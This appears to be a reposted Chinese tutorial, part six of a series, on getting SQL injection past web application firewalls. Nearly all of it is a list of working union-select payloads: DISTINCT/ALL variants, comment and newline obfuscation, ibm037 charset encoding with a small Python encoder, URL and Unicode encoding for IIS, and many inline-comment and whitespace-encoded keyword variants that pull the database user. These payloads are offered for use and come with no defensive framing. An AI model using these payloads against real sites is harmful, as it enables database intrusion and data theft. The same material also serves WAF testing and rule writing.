我是靠谱客的博主 粗犷糖豆,最近开发中收集的这篇文章主要介绍SQL 注入绕过(六)一、使用 ALL 或者 DISTINCT 绕过二、换行混绕绕过三、HTTP 数据编码绕过四、 url 编码绕过五、Unicode 编码绕过六、union select绕过,觉得挺不错的,现在分享给大家,希望可以做个参考。
概述
一、使用 ALL 或者 DISTINCT 绕过
去掉重复值:
select 1,2 from users where user_id=1 union DISTINCT select 1,2;
select 1,2 from users where user_id=1 union select DISTINCT 1,2;
显示全部:
select 1,2 from users where user_id=1 union all select 1,2;
select 1,2 from users where user_id=1 union select all 1,2;
二、换行混绕绕过
目前很多 waf 都会对 union select 进行过滤的,因为使用联合查询这两个关键词是必须的,一般过滤这个两个字符,想用联合查询就很
难了。可以使用换行,加上一些注释符进行绕过。
1、抓包
2、修改参数
id=-1
/*
aogja
gaogjaohoah
gjaogja
*/
union select 1,user()-- &submit=1
三、HTTP 数据编码绕过
1、原理介绍
编码绕过,在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说它只识别 utf-8 的字符,但是服务器可以识别比
utf-8 更多的编码。
那么我们只需要将 payload 按照 waf 识别不了但服务器可以解析识别的编码格式,即可绕过。
比如请求包中我们可以更改Content-Type中的charset的参数值,我们改为ibm037这个协议编码,有些服务器是支持的。payload 改成
这个协议格式就行了。
Content-Type: application/x-www-form-urlencoded; charset=ibm037
脚本:
import urllib.parse
s = 'id=-1 union select 1,user()-- &submit=1'
ens=urllib.parse.quote(s.encode('ibm037'))
print(ens)
四、 url 编码绕过
在 iis 里会自动把 url 编码转换成字符串传到程序中执行。例如 union select 可以转换成 u%6eion s%65lect
五、Unicode 编码绕过
形式:“u”或者是“%u”加上 4 位 16 进制 Unicode 码值。
iis 会自动进行识别这种编码,有部分 waf 并不会拦截这这种编码。
六、union select绕过
目前不少 waf 都会使用都会对 union select 进行拦截,单个不拦截,一起就进行拦截。
sel<>ect 程序过滤<>为空 脚本处理
sele/**/ct 程序过滤/**/为空
/*!%53eLEct*/ url 编码与内联注释
se%0blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过
大小写
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/*!union*//*!select*/1,2
union/**/select/**/1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
/*!12345union*//*!12345select*/1,2;
/*中文*/union/*中文*/select/*中文*/1,2;
/*!union*//*!00000all*//*!00000select*/1,2;
最后
以上就是粗犷糖豆为你收集整理的SQL 注入绕过(六)一、使用 ALL 或者 DISTINCT 绕过二、换行混绕绕过三、HTTP 数据编码绕过四、 url 编码绕过五、Unicode 编码绕过六、union select绕过的全部内容,希望文章能够帮你解决SQL 注入绕过(六)一、使用 ALL 或者 DISTINCT 绕过二、换行混绕绕过三、HTTP 数据编码绕过四、 url 编码绕过五、Unicode 编码绕过六、union select绕过所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复